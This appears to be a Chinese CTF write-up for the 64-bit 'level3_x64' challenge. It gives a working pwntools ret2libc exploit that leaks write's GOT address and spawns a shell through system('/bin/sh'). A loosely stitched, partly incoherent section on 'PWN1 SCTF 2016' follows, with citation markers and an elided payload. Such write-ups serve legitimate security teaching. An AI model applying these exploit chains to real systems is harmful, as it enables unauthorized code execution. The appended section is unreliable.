pwn3_x64

pwn3_x64

1.程序分析

file一下,发现是64位程序:

checksec一下,发现pie没开:

ldd一下,找到需要的动态链接库:

ida分析:

思路和上一题32位的一样,没啥好分析的

64位与32的不同在于传参:当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

因此需要ROP链找到rdi, rsi, rdx。

用ROPgadget查看下:

发现有现成的pop rdi; ret。

但是没有现成的pop rdx,只有pop rsi。

但是我们只需要write输出的长度大于等于8即可,如果寄存器rdx原来的值就已经大于等于8,我们其实不需要赋值了,到时候recv()时,只接收8字节即可。

gdb调试一下,看调用read()函数时的rdx值:

发现是0x200,那就不需要去pop_ret了。

2.栈帧设计

3.exp编写

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

io = process("/mnt/d/study/ctf/pwn/pwn3_x64/level3_x64")
elf = ELF("/mnt/d/study/ctf/pwn/pwn3_x64/level3_x64")
libc =ELF("/lib/x86_64-linux-gnu/libc.so.6")

write_plt = elf.plt["write"]
write_got = elf.got["write"]
vulnerable_function = elf.symbols["vulnerable_function"]
pop_rdi_ret = 0x00000000004006b3
pop_rsi_r15_ret = 0x00000000004006b1

# rdi, rsi, rdx,
io.recv()
payload = cyclic(0x80 + 8) + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(write_got) + p64(0) + p64(write_plt) + p64(vulnerable_function)
io.sendline(payload)
write_real = u64(io.recv(8))

system_real = write_real - libc.symbols["write"] + libc.symbols["system"]
bin_sh_real = write_real - libc.symbols["write"] + next(libc.search(b"/bin/sh"))

payload2 = cyclic(0x80 + 8) + p64(pop_rdi_ret)  + p64(bin_sh_real) + p64(system_real)
io.recv()
io.sendline(payload2)
io.interactive()
### 关于 PWN1 SCTF 2016 CTF 比赛解题报告 #### 题目概述 PWN1 SCTF 2016 是一次涉及栈溢出漏洞利用的比赛项目。参赛者需理解二进制文件执行流程以及如何通过特定输入控制程序流来实现非授权操作[^2]。 #### 漏洞分析 该挑战主要围绕栈缓冲区溢出展开。当应用程序未能正确验证用户输入长度时,攻击者可以构造恶意数据覆盖堆栈上的返回地址或其他重要变量位置。具体到此案例中,存在一处未受保护的函数调用允许外部输入直接写入固定大小的内存区域而没有任何边界检查机制。 #### 利用方法 为了成功完成这一关卡,选手们通常采用如下策略: - **寻找合适的gadget链**:由于现代操作系统普遍启用了多种防护措施(如NX位),单纯注入shellcode变得困难重重;因此需要找到一系列ROP gadgets组合起来绕过这些限制。 - **泄露 libc 地址**:考虑到目标机器上可能安装有不同版本的标准C库(libc),事先获取其基地址有助于后续精确计算所需偏移量。一种常见做法是先触发格式化字符串错误从而读取got表项中的实际映射位置[^4]。 - **构建 payload**:最终形成的载荷不仅要能够跳转至系统命令解释器(`/bin/sh`)所在处启动交互式终端会话,还要巧妙规避各种随机化技术的影响。这往往涉及到精心安排参数传递顺序并调整寄存器状态以匹配期望环境[^1]。 ```python from pwn import * # 假设已知某些关键信息... elf = ELF('vuln_binary') libc = ELF('/path/to/libc.so') # 远程连接或本地调试设置 conn = remote('target_host', port) # 发送初始输入引发泄漏 conn.sendlineafter(b'> ', b'%7$s' + cyclic(8)) leak_data = conn.recvuntil('\n').strip() # 处理泄露出的数据得到libc基址 base_addr = u64(leak_data.ljust(8, b'\x00')) - libc.symbols['puts'] log.info(f"Leaked base address: {hex(base_addr)}") # 构造用于执行/bin/sh的有效负载 payload = flat([ ... # 此处省略具体细节 ]) conn.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值